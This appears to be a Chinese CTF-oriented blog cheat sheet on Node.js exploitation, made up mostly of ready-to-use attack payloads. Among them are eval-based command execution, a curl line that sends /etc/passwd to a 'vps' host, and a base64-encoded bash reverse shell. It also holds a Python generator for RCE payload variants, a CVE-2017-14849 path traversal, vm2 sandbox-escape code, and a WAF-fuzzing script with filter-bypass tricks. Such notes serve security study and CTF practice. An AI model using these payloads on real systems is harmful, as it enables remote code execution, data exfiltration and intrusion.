HacKerQWQ的博客空间

nodejs利用小总结

Word count: 2kReading time: 10 min
2021/04/20 Share

参考链接:Node.js 常见漏洞学习与总结

eval导致的命令执行

常见payload

弹计算器(windows):

1
/eval?q=require('child_process').exec('calc');

读取文件(linux):

1
2
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
curl -F参数用于传输二进制文件

反弹shell(linux):

1
2
3
4
5
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

payload分析

1
2
(1).constructor.constructor("return require('child_process').exec('whoami').toString();")();
(1).constructor.constructor("return require('child_process').execSync('whoami').toString();")();

分析:

  1. (1)表示数字,(1).constructor是Function Number,用于创建数字类型的变量,(1).constructor.constructor()是Number Function的内置构造函数,总的来说(1).constructor.constructor()就是个媒介,通过控制返回值执行命令constructor函数

  2. 函数后面加()表示创建完立刻执行,立即调用函数表达式IIFE

表现形式:

1
2
(function(){/*code*/}());
(function(){/*code*/})();
  • Tips:前面的(1)改成字符串”1”、布尔值true或者其他数据类型都可以,因为他们的构造函数constructor都有constructor()函数
  • Tips:当exec中为十六进制时,要把单引号’改成反引号`

更多用于调用的childprocess方法

  1. execSync是exec的同步版本
  2. execFile用于执行可执行文件
    用法:execFile('example.py');如果想要回显的话需要加(err,stdout,stderr),同样的execFileSync是同步版本
  3. child_process模块中所有函数都是基于spawn和spawnSync函数的来实现的,函数用法:child_process.spawn(command[, args][, options])
    示例:require(‘child_process’).spawn(‘calc’);

更多信息https://juejin.cn/post/6844903612842246157

载体

可以用执行命令的函数相当于上面的载体

  1. setInterval(function(){},time);
    每隔time秒执行函数
  2. setTimeout(function(){},time);
    time秒后执行函数
  3. Function(“console.log(‘Hello World’);”)();
    类似php的create_fcuntion
    由于只是执行函数,因此需要加()立刻执行
  4. (1).constructor.constructor(“return …”)

CJS模块和ES6模块的异同

  • CommonJS简称CJS,ES6简称ESM,不兼容
  • CommonJS模块使用require引入库和module.exports输出,ES6 模块使用importexport
  • CommonJS脚本后缀为.cjs,ES6脚本的后缀为.mjs
  • CommonJS模块和ES6模块的不同可以体现在package.json的type字段,当type字段为空或者为”commonjs”时,当前目录下的.js脚本会解释成CommonJS模块,如果type字段为module,.js解释为ES模块

动态加载模块

20210420122653
参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules#importing_features_into_your_script

ES6版本:将require改成import

1
(1).constructor.constructor("return import('child_process').then(cp=>{cp.exec('calc');});")();

global.process.mainModule利用

global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)

payload生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import argparse

#用于组装的loader

list1 = ['(1).constructor.constructor("return {}.toString();")();',
'true.constructor.constructor("return {}.toString();")();',
'"1".constructor.constructor("return {}.toString();")();',
'setInterval(function(){{{}}},1000);(慎用,循环执行)',
'setTimeout(function(){{{}}},1000);',
'Function({})();']

#commonjs和ES6的方法
dict1={
"require":["require('child_process').exec('{}')",
"require('child_process').execSync('{}')",
"require('child_process').spawn('{}')",
"require('child_process').spawnSync('{}')",
"require('child_process').execFile('{}')",
"require('child_process').execFileSync('{}')",
"global.process.mainModule.constructor._load('child_process').exec('{}')"],
"import":['import("child_process").then(cp=>{{cp.exec("{}");}})',
"global.process.mainModule.constructor._load('child_process').exec('{}')"]
}


def test_for_sys(command,module):
flag=list()
module = str(module).lower()
if module not in ['commonjs','es6']:
print("module error only in Commonjs or ES6")
exit(1)
elif module=="commonjs":
for i in list1:
for j in dict1['require']:
p = i.format(j.format(command))
flag.append(p)
else:
for i in list1:
for j in dict1['import']:
p = i.format(j.format(command))
flag.append(p)

#输出payload
for i in flag:
print(i)
#print("注意:nodejs版本>=14,process.mainModule被弃用")


#脚本描述以及读取shell传入的变量
parser = argparse.ArgumentParser(description="Description:This Program userd to generate Node.js Command execution payload")
parser.add_argument('--command','-c',help='command eg:whoami',required=True)
parser.add_argument('--module','-m',help="nodejs module eg:commonjs or ES6",default="commonjs")
args = parser.parse_args()

if __name__=="__main__":
try:
test_for_sys(args.command,args.module)
except Exception as e:
print(e)

用python跑脚本有时候会因为编码的问题出错,因此发现出错可以把单引号换成反引号试试,比如(1).constructor.constructor(require(child_process").exec("whoami"))();

  • Tips:以上payload都是无回显的,要回显可以加上function(error, stdout, stderr){console.log(stdout)}
    1
    require.exec('whoami',function(error, stdout, stderr){console.log(stdout)});

    Nodejs原型链污染

    原型链污染原理
    20210420123851
    通常由merge函数造成
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    function merge(target, source) {
    for (let key in source) {
    if (key in source && key in target) {
    merge(target[key], source[key])
    } else {
    target[key] = source[key]
    }
    }
    }

    let object1 = {}
    let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(object1, object2)
    console.log(object1.a, object1.b)

    object3 = {}
    console.log(object3.b)
    需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

最终输出的结果为:

1
2
1 2
2

Node.js 目录穿越漏洞复现(CVE-2017-14849)

漏洞影响的版本:

1
2
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

payload:/static/../../../a/../../../../etc/passwd

具体分析可见:Node.js CVE-2017-14849 漏洞分析
20210420130307

vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸;

payload

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

相当于

1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

执行命令

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

github上的https://github.com/patriksimek/vm2/issues/225

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析

javascript大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

显示错误信息

1
new Error().stack();

fuzz关键字过滤脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
#
import requests

payload = """(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()"""
print(payload)
req_url = 'http://1b7290cf-9b5c-4559-8d82-f9c775a2c259.node3.buuoj.cn/run.php?code='
fuzz_payload = ""
for k in payload:
fuzz_payload += k
req_payload = req_url + fuzz_payload
data = requests.get(req_payload).text
if 'Happy Hacking' in data:
print("waf! k:{}".format(k))
fuzz_payload = fuzz_payload[:-1] + '0'
print(fuzz_payload)
print(fuzz_payload)

根据实际情况把payload和url替换下就好了

模板字符串绕过过滤

20210420190238
如:
${${constructo}r}=constructor
20210420190520

CATALOG
  1. 1. eval导致的命令执行
    1. 1.1. 常见payload
    2. 1.2. payload分析
    3. 1.3. 更多用于调用的childprocess方法
    4. 1.4. 载体
    5. 1.5. CJS模块和ES6模块的异同
    6. 1.6. 动态加载模块
    7. 1.7. global.process.mainModule利用
    8. 1.8. payload生成脚本
  2. 2. Nodejs原型链污染
  3. 3. Node.js 目录穿越漏洞复现(CVE-2017-14849)
  4. 4. vm沙箱逃逸
  5. 5. javascript大小写特性
  6. 6. 显示错误信息
  7. 7. fuzz关键字过滤脚本
  8. 8. 模板字符串绕过过滤